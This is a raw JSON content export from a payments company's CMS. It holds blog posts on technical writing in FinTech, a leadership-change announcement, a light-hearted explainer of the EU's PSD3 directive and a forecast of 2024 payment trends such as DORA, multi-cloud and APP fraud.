",[],{"type":1151,"text":12523,"spans":12524,"direction":445},"We would like to become a net zero organisation as we believe businesses play an important role in limiting global warming to 1.5°C above pre-industrial levels as per the UN Paris Agreement. Becoming a net zero organisation means we won’t be adding any extra greenhouse gases into the atmosphere. This is a long-term goal, but we’re on the right track! ",[],"rich_text$885aec62-fad3-4baf-92ea-dbcf3ae01afc",{"id":12527,"uid":12528,"type":3743,"data":12529},"alzzmREAACgAUWPW","what-is-technical-writing",{"title":12530,"excerpt":12531,"card_image":12532,"published_date":12537,"reading_time":1130,"tag":3751,"dek":12538,"featured_image":12539,"about_form3":12540,"client_about_heading":5,"client_about_body":12541,"author_name":5,"author_title":5,"author_photo":12542,"author_bio":12543,"author_linkedin":12544,"slices":12545,"meta_title":12729,"meta_description":12730},"Technical Writing & its importance in FinTech","Technical writing involves communicating complex information in an easily understandable format. Technical writing is sometimes defined as simplifying the complex where the author is writing about a particular subject that requires direction, instruction, or explanation.",{"dimensions":12533,"alt":12530,"copyright":5,"url":12534,"id":12535,"edit":12536},{"width":412,"height":412},"\u002F_prismic-media\u002F23b03a592fe93e8a-lwbewDzxvQqEvTN3_what-is-technical-writing.svg","lwbewDzxvQqEvTN3",{"x":398,"y":398,"zoom":399,"background":650},"2023-01-24","Technical writing involves communicating complex information in an easily understandable format. Technical writing is sometimes defined as simplifying the complex where the author is writing about a particular subject that requires direction, instruction, or explanation.",{},[],[],{},[],{"link_type":434},[12546,12566,12577,12603,12618,12650,12663,12687,12696,12719],{"variation":437,"version":438,"items":12547,"primary":12548,"id":12565,"slice_type":468,"slice_label":5},[],{"body":12549},[12550,12553,12556,12559,12562],{"type":988,"text":12551,"spans":12552,"direction":445},"What is Technical Writing?",[],{"type":25,"text":12538,"spans":12554,"direction":445},[12555],{"start":9287,"end":9050,"type":765},{"type":25,"text":12557,"spans":12558,"direction":445},"Technical writing is performed by a technical writer and is the process of writing and sharing technical information in a professional setting. A technical writer’s primary task is to communicate technical information to another person or party in the clearest and most effective manner possible.",[],{"type":25,"text":12560,"spans":12561,"direction":445},"There are many professions that require strong technical writing, such as financial services, IT, manufacturing, energy, consulting, medical business, and engineering.",[],{"type":25,"text":12563,"spans":12564,"direction":445},"Technical writing isn’t limited to these domains. In the age of information, being able to provide clear instructions or information for the intended audience is more important than ever. Technical writers work in software, consulting, academia, government, broadcasting, transportation, energy, telecommunications, health, security, publishing and the list could go on.",[],"rich_text$af22d043-b88c-45b7-af4f-fdfee6c1bc65",{"variation":437,"version":438,"items":12567,"primary":12568,"id":12576,"slice_type":468,"slice_label":5},[],{"body":12569},[12570,12573],{"type":988,"text":12571,"spans":12572,"direction":445},"Technical Documents:",[],{"type":25,"text":12574,"spans":12575,"direction":445},"Technical writing comprises the largest segment of technical communications. Technical writers work together with editors, designers, developers and analysts to produce different type of technical documents such as:",[],"rich_text$79f5ece2-fcb0-44e6-bb48-179fd98e21c9",{"variation":437,"version":438,"items":12578,"primary":12579,"id":12602,"slice_type":468,"slice_label":5},[],{"body":12580},[12581,12584,12587,12590,12593,12596,12599],{"type":3373,"text":12582,"spans":12583},"Instructions & Procedures",[],{"type":3373,"text":12585,"spans":12586},"Manuals",[],{"type":3373,"text":12588,"spans":12589},"API documentation",[],{"type":3373,"text":12591,"spans":12592},"Descriptions",[],{"type":3373,"text":12594,"spans":12595},"Case Studies",[],{"type":3373,"text":12597,"spans":12598},"White Papers",[],{"type":3373,"text":12600,"spans":12601},"Specifications",[],"rich_text$1e478579-4478-4b69-8d94-a61ed762cf57",{"variation":437,"version":438,"items":12604,"primary":12605,"id":12617,"slice_type":468,"slice_label":5},[],{"body":12606},[12607,12610,12614],{"type":988,"text":12608,"spans":12609,"direction":445},"Why is Technical Writing important in FinTech?",[],{"type":25,"text":12611,"spans":12612,"direction":445},"At its core, FinTech is helping companies, business owners, and consumers better manage their financial operations, processes by utilizing specialized software and algorithms. Therefore, technical documentation has to be very accurate in FinTech to provide precise and flawless value to customers and clients.",[12613],{"start":1951,"end":7460,"type":593},{"type":25,"text":12615,"spans":12616,"direction":445},"Technical writing has a clear, direct and neutral style. The text should present the information in the most professional and accessible way possible to FinTech customers.",[],"rich_text$efbc8071-502d-43d2-a24e-f9a02c3faf9c",{"variation":437,"version":438,"items":12619,"primary":12620,"id":12649,"slice_type":468,"slice_label":5},[],{"body":12621},[12622,12625,12629,12633,12637,12641,12645],{"type":988,"text":12623,"spans":12624,"direction":445},"Key principles of Technical Writing in FinTech:",[],{"type":3373,"text":12626,"spans":12627,"direction":445},"Grammar: Readers expect technical documents to be written in standard language. Certain grammatical errors can actually cause the reader to misinterpret the information. As technical documents must be precise and accurate, readers expect documents to be professional and flawless.",[12628],{"start":398,"end":1130,"type":593},{"type":3373,"text":12630,"spans":12631,"direction":445},"Write concisely: In technical writing, clarity and brevity is the goal. Effective technical writing suggest that the average length for a sentence is 10–15 words.",[12632],{"start":398,"end":8472,"type":593},{"type":3373,"text":12634,"spans":12635,"direction":445},"Use standard punctuation: Your readers expect standard punctuation when they read your documents. Complicated or “creative” punctuation will confuse them. One suggestion is to select syntax that minimizes the need for punctuation. You may wish to divide compound or complex sentences into shorter sentences to avoid excessive or confusing punctuation",[12636],{"start":398,"end":9799,"type":593},{"type":3373,"text":12638,"spans":12639,"direction":445},"Use active voice: Imperative sentences, or command sentences are written in the active voice. The active voice is more natural to people when they speak but technical writers often turn to the passive voice when writing technical documents. One of the main reasons why active voice is used because it closely resembles the way people remember and process information.",[12640],{"start":398,"end":2477,"type":593},{"type":3373,"text":12642,"spans":12643,"direction":445},"Using positive statements: Technical writers should word instructions as positive statements.",[12644],{"start":398,"end":1066,"type":593},{"type":3373,"text":12646,"spans":12647,"direction":445},"Avoid long sentences: Short sentences are easier to understand than long sentences. It is best to write technical documents in short sentences. Whenever the user is asked to perform several steps, begin the step with an active verb.",[12648],{"start":398,"end":7460,"type":593},"rich_text$9a31a1de-99b5-4961-ac32-a2c034d1b6e0",{"variation":437,"version":438,"items":12651,"primary":12652,"id":12662,"slice_type":468,"slice_label":5},[],{"body":12653},[12654,12657],{"type":988,"text":12655,"spans":12656,"direction":445},"How Technical documentation is a strength at Form3:",[],{"type":25,"text":12658,"spans":12659,"direction":445},"At Form3, we have a dedicated Technical documentation team to take care of all documentation requests for business and are responsible for developing and maintaining the following documents:",[12660],{"start":418,"end":1633,"type":489,"data":12661},{"link_type":491,"url":2713,"target":493},"rich_text$89f703f3-b233-45f0-a473-6021b16e87e9",{"variation":437,"version":438,"items":12664,"primary":12665,"id":12686,"slice_type":468,"slice_label":5},[],{"body":12666},[12667,12671,12680],{"type":3373,"text":12668,"spans":12669},"Product User Guides: Documents intended to assist the users\u002Fcustomers with the service introduction, description, implementation process and supported flows (Happy & Unhappy paths).",[12670],{"start":398,"end":703,"type":593},{"type":3373,"text":12672,"spans":12673},"API Documentation: Form3's API is based on the principle of REST. The API is resource-based and calls are idempotent through unique resource IDs. Form3’s API documentation contains information about general description, rules and conventions that apply for the APIs. We also offer links and examples to resources to help our customers\u002Fusers get started with Form3 as fast and easy as possible.",[12674,12675,12677],{"start":398,"end":6262,"type":593},{"start":398,"end":6911,"type":489,"data":12676},{"link_type":491,"url":146,"target":493},{"start":685,"end":4083,"type":489,"data":12678},{"link_type":491,"url":12679,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FRepresentational_state_transfer",{"type":3373,"text":12681,"spans":12682},"Tutorials: Documents intended to provide detailed instructions of Form3 API which will let our users\u002Fcustomers manage all aspects of the payment workflow, which includes the ability to: Send and receive payments across a number of different schemes, Generate and manage scheme-addressable customer account numbers, Handle payment exceptions such as rejections, returns and reversals, Manage access with a flexible security and approval model and view full audit trails of all changes.",[12683,12684],{"start":398,"end":602,"type":593},{"start":398,"end":1355,"type":489,"data":12685},{"link_type":491,"url":149,"target":493},"rich_text$13d16471-b037-4fef-8ea6-17e0773f7a58",{"variation":437,"version":438,"items":12688,"primary":12689,"id":12695,"slice_type":468,"slice_label":5},[],{"body":12690},[12691],{"type":25,"text":12692,"spans":12693},"Technical documentation team at Form3 uses advanced technology stack as listed below to develop and maintain documents:",[12694],{"start":1251,"end":9232,"type":593},"rich_text$9928afa2-f007-4bf1-aa33-adb566ab62d4",{"variation":437,"version":438,"items":12697,"primary":12698,"id":12718,"slice_type":468,"slice_label":5},[],{"body":12699},[12700,12706,12709,12712,12715],{"type":3373,"text":12701,"spans":12702},"Language: Markdown",[12703],{"start":905,"end":2769,"type":489,"data":12704},{"link_type":491,"url":12705,"target":493},"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FMarkdown",{"type":3373,"text":12707,"spans":12708},"Version control: Github",[],{"type":3373,"text":12710,"spans":12711},"Markdown editors: Sublime\u002FTypora",[],{"type":3373,"text":12713,"spans":12714},"Postman: API platform to build and test APIs",[],{"type":3373,"text":12716,"spans":12717},"Swagger: Swagger allows us to describe the structure of APIs and document them so that software program can read the APIs and map the elements accordingly",[],"rich_text$2b0295df-3302-4001-9b0e-0dcf2576f678",{"variation":437,"version":438,"items":12720,"primary":12721,"id":12728,"slice_type":468,"slice_label":5},[],{"body":12722},[12723,12725],{"type":988,"text":4445,"spans":12724,"direction":445},[],{"type":25,"text":12726,"spans":12727,"direction":445},"We glanced over the detailed introduction of Technical Writing, glanced over different key principles to follow for FinTech technical documentation and why technical documentation is a differentiator at Form3.",[],"rich_text$95d43fb7-b7b6-4f64-b775-93d697d00e35","Technical Writing & Its Importance in FinTech","Technical writing results in relevant and accurate information enabling users to achieve a set of actions in pursuit of a goal.",{"id":12732,"uid":12733,"type":3743,"data":12734},"alzy7REAACcAUWJB","form3-announces-three-management-changes",{"title":12735,"excerpt":12736,"card_image":12737,"published_date":12742,"reading_time":418,"tag":3751,"dek":12743,"featured_image":12744,"about_form3":12745,"client_about_heading":5,"client_about_body":12746,"author_name":5,"author_title":5,"author_photo":12747,"author_bio":12748,"author_linkedin":12749,"slices":12750,"meta_title":12735,"meta_description":12825},"Form3 announces three management changes","Following our tremendous growth in recent years, we believe that it is now the right time for Form3 to open the next chapter of its journey with these changes. We look forward to what we'll continue to achieve together.",{"dimensions":12738,"alt":12735,"copyright":5,"url":12739,"id":12740,"edit":12741},{"width":412,"height":412},"\u002F_prismic-media\u002Fb7ec487114242788-ZmLO7tPLDwR5SCgB_form3-announces-three-managemen.jpg","ZmLO7tPLDwR5SCgB",{"x":398,"y":398,"zoom":399,"background":650},"2023-10-11","Building a business can be one of the most rewarding challenges that you will ever find in the business world. But it can also be tough. A winding road with many ups and downs, major successes and big disappointments. It can be nerve-wrecking, unsettling, energy-consuming and complex. And the odds are massively against you when you are starting off with some seed capital, a small office and big plans and ambitions.",{},[],[],{},[],{"link_type":434},[12751,12768,12782,12790],{"variation":437,"version":527,"items":12752,"primary":12753,"id":12767,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":12754,"body":12755,"cta_label":5,"cta_link":12756,"aside_type":533,"aside_image":12757,"aside_video":12762,"aside_video_poster":12763,"aside_video_reduced_motion":12764,"aside_video_url":5,"aside_embed":12765,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":12766,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[],{"link_type":434},{"dimensions":12758,"alt":5,"copyright":5,"url":12759,"id":12760,"edit":12761},{"width":423,"height":424},"\u002F_prismic-media\u002F70e6b35dfa3852b7-h57LHZbMMjz9JVxr_8b4d0237-a447-4ac9-815b-8abc847.png","h57LHZbMMjz9JVxr",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$26a78928-ac77-40dd-9cd6-59406321d410",{"variation":437,"version":438,"items":12769,"primary":12770,"id":12781,"slice_type":468,"slice_label":5},[],{"body":12771},[12772,12775,12778],{"type":25,"text":12773,"spans":12774},"Little did I know about all of this when Tom Kozlowski and I got together at Richard Little’s kitchen table in Pimlico and started discussing the idea of building a ‘payments platform in the cloud’ in early 2016 with some seed investors.  ",[],{"type":25,"text":12776,"spans":12777},"However, a few months later, we had founded a company, appointed a board and a chairman, collected some seed money and rented an office in the city. Mike Walters, Steve Cook and Adam Moulson bought into the idea very early on and decided to give up their successful corporate careers and come on the journey with us - before it had even started. Certainly a brave move at the time. ",[],{"type":25,"text":12779,"spans":12780},"I soon found out that facing the challenges of a first-time start-up\u002Fscale-up CEO is not only much easier, but also a lot more enjoyable if you share the experience with some brilliant Co-founders, early colleagues and one of the best Chairmen that I can think of. Colleagues who celebrate with you when times are good and pull you up when the going gets tough. Ambitious individuals who are willing to dedicate many years of their working lives to building a great company. I am immensely grateful to everyone who joined us in these early days. ",[],"rich_text$d3825f45-34f5-4073-a2f7-9d306c00338d",{"variation":437,"version":438,"items":12783,"primary":12784,"id":12789,"slice_type":583,"slice_label":5},[],{"quote":12785,"attribution_name":921,"attribution_role":922},[12786],{"type":25,"text":12787,"spans":12788},"Seven years later, I am equally grateful that most of these colleagues are still with the company and have been instrumental to building the business that Form3 is today. ",[],"pull_quote$9fc79445-6f44-43b0-a36c-971ee711e1ef",{"variation":437,"version":438,"items":12791,"primary":12792,"id":12824,"slice_type":468,"slice_label":5},[],{"body":12793},[12794,12797,12801,12806,12810,12813,12816,12819],{"type":25,"text":12795,"spans":12796},"Following the tremendous growth that we have seen in recent years, significant investments that we made in a high-end payment processing platform, successful expansion from the UK to the European and US markets and a strong ramp up of the transaction volume on the platform, I believe that it is now the right time for Form3 to open the next chapter of its journey and implement some management changes that we have been planning for some time. ",[],{"type":25,"text":12798,"spans":12799},"As part of these plans, I have proposed to the board to transfer my responsibilities as CEO of Form3 to one of the first employees, co-founder and my friend Mike Walters. As our Chief Product Officer, Mike has been instrumental in the design and the delivery of our strategy and product vision and in many ways the ‘brain behind Form3’s value proposition’. Together with our CTO, Steve Cook, Mike has been leading our R&D organisation and relentlessly driven innovation into the payment technology market. Also, he has been working closely with many of our key customers and his knowledge about this market and clear vision of our strategic direction in response to a rapidly evolving technical and regulatory environment is second to none. I could not think of a better successor in this role. ",[12800],{"start":3290,"end":1408,"type":593},{"type":25,"text":12802,"spans":12803},"I am also pleased to announce that we have asked Eimear O’Connor to take over from Mike as Chief Product Officer (CPO). As employee number seven, Eimear has been the first and only Chief Operating Officer that the business has ever had. In her role, she has been instrumental in making sure that we are processing very significant transaction volumes safely - every single day. Eimear will bring this and her previous experience as a product manager into her new role, focusing on extending our product proposition into new markets and new services. Again, a perfect successor for Mike who will be executing our strategic agenda from a product perspective. ",[12804],{"start":1408,"end":12805,"type":593},112,{"type":25,"text":12807,"spans":12808},"And finally, I am pleased to announce that the board has asked me to take over from Tom Kozlowski as the Executive Chair of Form3. This move has been discussed between us for some years and working closely with Tom since we launched the business has taught me a lot and prepared me for chairing a business like Form3. The board and the executive team will forever be grateful for his leadership and counsel from those very early days. ",[12809],{"start":3092,"end":5702,"type":593},{"type":25,"text":12811,"spans":12812},"As part of my new role, I will, in addition to managing the board, retain some executive responsibilities, including key customer relationships, industry initiatives and our US market roll-out. As a chairman, I will work hard to ensure that we are adjusting the governance of the business to the requirements and challenges of the next stage of our evolution – with significant responsibility for payment processing at scale in all our key markets. ",[],{"type":25,"text":12814,"spans":12815},"I am convinced that the above changes represent a good mix of development opportunity and challenge for colleagues who have been part of our journey from the very early days on the one hand, and the continuity and long-term planning that a business like ours requires on the other. And they put Form3 on a very stable footing for years to come – for the benefit of our colleagues, customers and shareholders. ",[],{"type":25,"text":12817,"spans":12818},"I am very excited about what the future holds for Form3 and fully committed to do what I can in my new role to achieve our strategic objectives.  ",[],{"type":25,"text":12820,"spans":12821},"Congratulations to Mike and Eimear on their new roles and a big thank you to Tom, the board and the wider executive team, who have been very supportive of these changes in recent weeks and months.   ",[12822],{"start":398,"end":12823,"type":593},199,"rich_text$7b940c76-4455-4d31-ab53-ab796038dc80","Form3 shares the news of three management changes. Following our tremendous growth in recent years, we believe that it is now the right time for Form3 to open the next chapter of its journey with these changes. We look forward to what we'll continue to achieve together.",{"id":12827,"uid":12828,"type":3743,"data":12829},"alzzIBEAACwAUWKy","unravelling-psd3",{"title":12830,"excerpt":12831,"card_image":12832,"published_date":12837,"reading_time":643,"tag":379,"dek":12831,"featured_image":12838,"about_form3":12843,"client_about_heading":5,"client_about_body":12844,"author_name":5,"author_title":5,"author_photo":12845,"author_bio":12846,"author_linkedin":12847,"slices":12848,"meta_title":12830,"meta_description":12831},"Unravelling the Quirkiness of PSD3","A payment adventure like no other and its impact on the financial landscape.",{"dimensions":12833,"alt":12830,"copyright":5,"url":12834,"id":12835,"edit":12836},{"width":412,"height":412},"\u002F_prismic-media\u002F02e7077ba3e38cfe-siGPES8gDMrKFQX6_unravelling-psd3.jpg","siGPES8gDMrKFQX6",{"x":398,"y":398,"zoom":399,"background":650},"2023-07-11",{"dimensions":12839,"alt":5,"copyright":5,"url":12840,"id":12841,"edit":12842},{"width":501,"height":646},"\u002F_prismic-media\u002F85a57ef2d59db6e7-VIr0lre7Efx6UTn4_2af3a491-9c1d-4426-bf94-55d5270.jpg","VIr0lre7Efx6UTn4",{"x":398,"y":398,"zoom":399,"background":650},[],[],{},[],{"link_type":434},[12849,12862,12873,12884,12895,12906],{"variation":437,"version":438,"items":12850,"primary":12851,"id":12861,"slice_type":468,"slice_label":5},[],{"body":12852},[12853,12855,12858],{"type":988,"text":12441,"spans":12854,"direction":445},[],{"type":25,"text":12856,"spans":12857,"direction":445},"In the realm of trilogies, and following blockbusters like the Lord of the Rings, Star Wars and the Godfather, a new addition to the pantheon emerges - PSD3 - which tells a captivating coming-of-age story of payment regulations and all that it brings.",[],{"type":25,"text":12859,"spans":12860,"direction":445},"The financial world may not be known for its humour, but brace yourselves for the wild ride that is the Payment Services Directive 3 (PSD3). Forget dull regulations and stuffy financial jargon; there’s a new sheriff in town and it’s here to shake things up. Primarily driven by technological advancements and evolving consumer demands, PSD3 is the latest iteration of the EU's regulatory framework for payment services, looking to modernise the payment landscape, enhance consumer protection and foster innovation through a few key pillars.",[],"rich_text$7f566752-020a-4057-8773-c7372d3bc925",{"variation":437,"version":438,"items":12863,"primary":12864,"id":12872,"slice_type":468,"slice_label":5},[],{"body":12865},[12866,12869],{"type":988,"text":12867,"spans":12868,"direction":445},"01. Security, or ‘the fortress of authentication’",[],{"type":25,"text":12870,"spans":12871,"direction":445},"With buzz-words like two-factor authentication and biometric scanners, PSD3 takes security seriously, and by introducing stricter authentication requirements, the aim is to fend off relentless attacks of fraudsters and unauthorised payment attempts. By doing so, the regulator is attempting a fine balancing act of protecting consumers whilst also trying to ensure that we all won’t have to become tech-wizzes to avoid regularly being locked out of our bank accounts. For more info on the fraud topic and the expected IBAN\u002FName check function, come speak to us at Form3 or read the excellent written piece by my colleague, Chris Oakly.",[],"rich_text$57759761-6ac6-4b16-9331-86f3b7263a81",{"variation":437,"version":438,"items":12874,"primary":12875,"id":12883,"slice_type":468,"slice_label":5},[],{"body":12876},[12877,12880],{"type":988,"text":12878,"spans":12879,"direction":445},"02. The Great Expansion",[],{"type":25,"text":12881,"spans":12882,"direction":445},"Move over, traditional payment methods - PSD3 aims to bring the unconventional into the fold. By continuing prior regulations general theme of innovation, PSD3 extends its regulatory arms to encompass the wild and wonderful world of digital finance. By incorporating a range of ‘fresh’ technologies, from virtual currencies to crypto-assets and e-wallets - the aim of course is to ensure that they adhere to the same regulatory standards as traditional payment instruments. However, let’s face it - it’s near impossible even for professionals to keep up with the ever-evolving payment landscape – so bringing more clarity and oversight to previously unregulated sectors might not be enough!",[],"rich_text$1ac0d37b-0932-4a0a-a3ed-ee22c2334e34",{"variation":437,"version":438,"items":12885,"primary":12886,"id":12894,"slice_type":468,"slice_label":5},[],{"body":12887},[12888,12891],{"type":988,"text":12889,"spans":12890,"direction":445},"03. Open Banking Bonanza",[],{"type":25,"text":12892,"spans":12893,"direction":445},"Continuing the theme of innovation and levelling the playing field whilst looking jealously at the UK’s success in this area – it wasn’t a surprise to anyone that Open Banking became a hot topic for the EU. With a vision of financial institutions as friendly neighbours, sharing milk and cookies through an open window, the spirit of open banking is promoted throughout PSD3. Banks open their doors (and APIs) to third-party providers, creating a marketplace where innovative payment services flourish in harmony.",[],"rich_text$b897ff67-0750-4a77-a750-ece2f2ba2445",{"variation":437,"version":438,"items":12896,"primary":12897,"id":12905,"slice_type":468,"slice_label":5},[],{"body":12898},[12899,12902],{"type":988,"text":12900,"spans":12901,"direction":445},"04. Enhanced Consumer Rights and Redress Mechanisms",[],{"type":25,"text":12903,"spans":12904,"direction":445},"PSD3 aims to empower consumers and ensure they have a voice in the payment realm by introducing enhanced consumer rights and redress mechanisms, like a magic wand that grants you the ability to dispute transactions with a flick of your wrist. Transparency is the name of the game!",[],"rich_text$82e6e58f-a587-4ddb-93cc-557ff9ab3538",{"variation":437,"version":438,"items":12907,"primary":12908,"id":12925,"slice_type":468,"slice_label":5},[],{"body":12909},[12910,12913,12916,12922],{"type":988,"text":12911,"spans":12912,"direction":445},"But how will this impact financial institutions across the region?",[],{"type":25,"text":12914,"spans":12915,"direction":445},"Tech, tech, tech! Some of the worlds largest bank executives has already declared that their giants of institutions isn’t banks at all, but mere technology companies with a banking license. This tune has never rung truer, as PSD3 is set to transform the financial sector into a technological bonanza.",[],{"type":25,"text":12917,"spans":12918,"direction":445},"Brace yourself for the spectacle as payment providers strive to keep up with the new security requirements whilst traditional banks tries to navigate and counter the ever-changing landscape of digital innovations. How this will manifest itself will require different strategies depending on the size and complexity of an institution – but will require some very deep pockets or the reliance on outside help – although most likely both!Competition! With the introduction of open banking and the added abilities for Payment Institutions\u002FElectronic Money Institutions (PI\u002FEMI) to access the clearing (Form3 has a solution for this as well) -  the payment industry becomes a bustling hotpot of solutions and\u002For opportunities.",[12919],{"start":12920,"end":12921,"type":765},566,568,{"type":25,"text":12923,"spans":12924,"direction":445},"Traditional financial institutions and fintech companies will more viciously have to jostle for space to try and outperform each other - where ultimately the challenge lies in striking a balance between security, innovation and user experience!Consumer impact! While PSD3 aims to protect consumers through fee disclosures and consumer rights - it also requires us to actively engage in secure payment practices. Educating consumers about the new security measures and potential risks is key to not get the wider opinion to turn on the industry. I’m not sure about you but I know a fair few grandparents and other tech-orthodoxies who isn’t going to enjoy the additional responsibilities!",[],"rich_text$b8e8cbdb-1e85-428b-aa0d-e296c8bada37",{"id":12927,"uid":12928,"type":3743,"data":12929},"alzyxxEAACkAUWHn","what-will-be-the-key-trends-in-payments-in-2024",{"title":12930,"excerpt":12931,"card_image":12932,"published_date":12938,"reading_time":418,"tag":5813,"dek":12939,"featured_image":12940,"about_form3":12941,"client_about_heading":5,"client_about_body":12942,"author_name":1093,"author_title":1094,"author_photo":12943,"author_bio":12946,"author_linkedin":12953,"slices":12955,"meta_title":12930,"meta_description":12931},"What will be the key trends in payments in 2024?","As we reach the end of 2023, it’s time to reflect on what has been another transformative year for the payments industry - and to look at what’s in store in 2024. The volume and value of digital payments continues to grow rapidly in all parts of the world. There have been significant innovations in the field of instant payments, with the introduction of the FedNow service in the US, while the eurozone moves closer to a widespread rollout of instant payments.",{"dimensions":12933,"alt":12934,"copyright":5,"url":12935,"id":12936,"edit":12937},{"width":412,"height":412},"trends in payments","\u002F_prismic-media\u002F6465ee90c6287ef5-lNLQULDtnCmfG8E2_what-will-be-the-key-trends-in-.png","lNLQULDtnCmfG8E2",{"x":398,"y":398,"zoom":399,"background":400},"2024-01-15","As we reach the end of 2023, it’s time to reflect on what has been another transformative year for the payments industry - and to look at what’s in store in 2024. The volume and value of digital payments continues to grow rapidly in all parts of the world. There have been significant innovations in the field of instant payments, with the introduction of the FedNow service in the US, while the eurozone moves closer to a widespread rollout of instant payments. Looking ahead to 2024, as an overview, we’re likely to see an acceleration in the adoption of instant payments in the US catalyzed by FedNow, with many banks looking to connect to this network over the coming year. While payment volumes may not explode in 2024 as a result, there’s sure to be steady progress as banks make plans to make this capability available to customers and develop commercial use cases for instant payments. In Europe, new regulations such as the Digital Operational Resilience Act (DORA) will be driving the strategic decisions of financial institutions, with operational resilience the phrase on everyone’s lips. The end-result will hopefully be better, more stable payment services for customers, and a foundational framework for reliable instant payments capabilities.   In this article, I will spotlight four of the trends to watch in payments in 2024, and outline how banks, payment service providers, and financial institutions can prepare themselves for the resulting changes.",{},[],[],{"dimensions":12944,"alt":8571,"copyright":5,"url":8572,"id":8573,"edit":12945},{"width":8569,"height":8570},{"x":398,"y":398,"zoom":399,"background":400},[12947,12949,12951],{"type":25,"text":8577,"spans":12948,"direction":445},[],{"type":25,"text":8580,"spans":12950,"direction":445},[],{"type":25,"text":8583,"spans":12952,"direction":445},[],{"link_type":491,"key":12954,"url":8587,"target":493},"51577a24-53ab-48ec-810f-91ad025cae6a",[12956,12978,12992,13013,13027],{"variation":437,"version":438,"items":12957,"primary":12958,"id":12977,"slice_type":468,"slice_label":5},[],{"body":12959},[12960,12963,12966],{"type":988,"text":12961,"spans":12962,"direction":445},"1. More clarity around operational resilience – and how it can be achieved",[],{"type":25,"text":12964,"spans":12965,"direction":445},"Regulation around banking and payments is always an area that requires close attention, and compliance officers in financial institutions are likely to be busy again in 2024. With DORA setting rules for the protection, detection, containment, recovery and repair capabilities against ICT-related incidents – and due to come into force in January 2025 –  turning theory into practice will be a key theme next year. By the time we get to the end of 2024, banks need to have a much better understanding of how the requirements of DORA can be practically operationalised and applied.     ",[],{"type":25,"text":12967,"spans":12968,"direction":445},"Similarly in the UK, financial institutions need to ensure their processes are in line with SS1\u002F21 and PS21\u002F3 – directives issued by the Bank of England and the Financial Conduct Authority respectively – over the course of 2024. While they’ll already have mapped out their ‘impact tolerances’ for critical banking services, they’ll need to translate words into action and perform testing to prove that their plans work. This means they need to have the right technologies in place.  ",[12969,12973],{"start":12970,"end":2237,"type":489,"data":12971},92,{"link_type":491,"url":12972,"target":493},"https:\u002F\u002Fwww.bankofengland.co.uk\u002Fprudential-regulation\u002Fpublication\u002F2021\u002Fmarch\u002Foperational-resilience-impact-tolerances-for-important-business-services-ss",{"start":3886,"end":12974,"type":489,"data":12975},109,{"link_type":491,"url":12976,"target":493},"https:\u002F\u002Fwww.fca.org.uk\u002Fpublications\u002Fpolicy-statements\u002Fps21-3-building-operational-resilience","rich_text$c94ed8c0-66e2-4c35-8ab7-7053c87d8df4",{"variation":437,"version":438,"items":12979,"primary":12980,"id":12991,"slice_type":468,"slice_label":5},[],{"body":12981},[12982,12985,12988],{"type":988,"text":12983,"spans":12984,"direction":445},"2. Banks embracing the multi-cloud approach to payments",[],{"type":25,"text":12986,"spans":12987,"direction":445},"One way in which banks and financial institutions can demonstrate their commitment to operational resilience is by adopting a multi-cloud approach to payments. Cloud technology provides the scale and flexibility to deal with the ever-increasing volume of digital payments and peaks in demand for these services; however, there’s always the risk of a cloud outage that could bring all of these payments to a screeching halt. A multi-cloud model has built-in contingency that means banks can continuously demonstrate that regardless of the performance or the status of individual public clouds, the service to customers will be uninterrupted.",[],{"type":25,"text":12989,"spans":12990,"direction":445},"A fully synchronized, multi-cloud payment service can handle any increases in demand, provide a reliable ledger, cope with outages and has a built-in backup for disaster recovery, meaning banks can prove the resilience of their system to the satisfaction of regulators. Throughout 2024, we’ll see more and more financial institutions incorporate multiple clouds as a foundational element of their payment platform. ",[],"rich_text$7cceb1b9-ad09-4912-845c-60311c499b80",{"variation":437,"version":438,"items":12993,"primary":12994,"id":13012,"slice_type":468,"slice_label":5},[],{"body":12995},[12996,12999,13006,13009],{"type":988,"text":12997,"spans":12998,"direction":445},"3. APP fraud will continue to be challenging in 2024",[],{"type":25,"text":13000,"spans":13001,"direction":445},"The fight against scams is constantly moving to new battlegrounds, and 2023 has seen much of the action taking place in the APP (Authenticated Push Payment) fraud arena. In the UK, the Payment Systems Regulator introduced new rules that are intended to increase the number of victims of these scams that get their money back, while making both the sending and receiving banks equally responsible for issuing compensation. ",[13002],{"start":3309,"end":13003,"type":489,"data":13004},231,{"link_type":491,"url":13005,"target":493},"https:\u002F\u002Fwww.psr.org.uk\u002Four-work\u002Fapp-scams\u002F",{"type":25,"text":13007,"spans":13008,"direction":445},"APP fraud is particularly tricky to deal with as the people who are sending the money are convinced that they want to do so, having been tricked through social engineering tactics or some other kind of manipulation. While most banks have protections for identity theft, system hacking, password cracking and the like, it’s more difficult to put systems in place that can identify these types of payments among all of the genuine transactions that they are processing. ",[],{"type":25,"text":13010,"spans":13011,"direction":445},"In 2023, we delivered a scaled proof-of-concept designed to combat APP fraud, and we’re gradually starting to see more technologies coming into play. However, to truly stamp out APP fraud, it’s not just technology that’s required, but clear customer communication, education too, and efforts from ‘big tech’. This is something that banks will have to address in 2024. ",[],"rich_text$0852dab1-e105-4fee-ac18-0d77dd0700fd",{"variation":437,"version":438,"items":13014,"primary":13015,"id":13026,"slice_type":468,"slice_label":5},[],{"body":13016},[13017,13020,13023],{"type":988,"text":13018,"spans":13019,"direction":445},"4. Further back offices processes moved to cloud-native technology",[],{"type":25,"text":13021,"spans":13022,"direction":445},"Next year, moving some critical processes like payments to cloud-native platforms make a lot of sense for banks. It increases performance and scale, while also offering greater flexibility for introducing new features. In 2024, I expect to see more banking processes being moved to the cloud; banks have had a chance to learn from the limited cloud transformations that they have already carried out, which should mean moving other critical processes to cloud-native platforms should be more straightforward. ",[],{"type":25,"text":13024,"spans":13025,"direction":445},"While I don’t wish to say that making the transition to the cloud is an easy process, banks should now have their own learnings and best practice guidelines on how they can do this. And by moving more processes to the cloud, they can again feel the benefits of increased scale, speed, flexibility and resilience too. 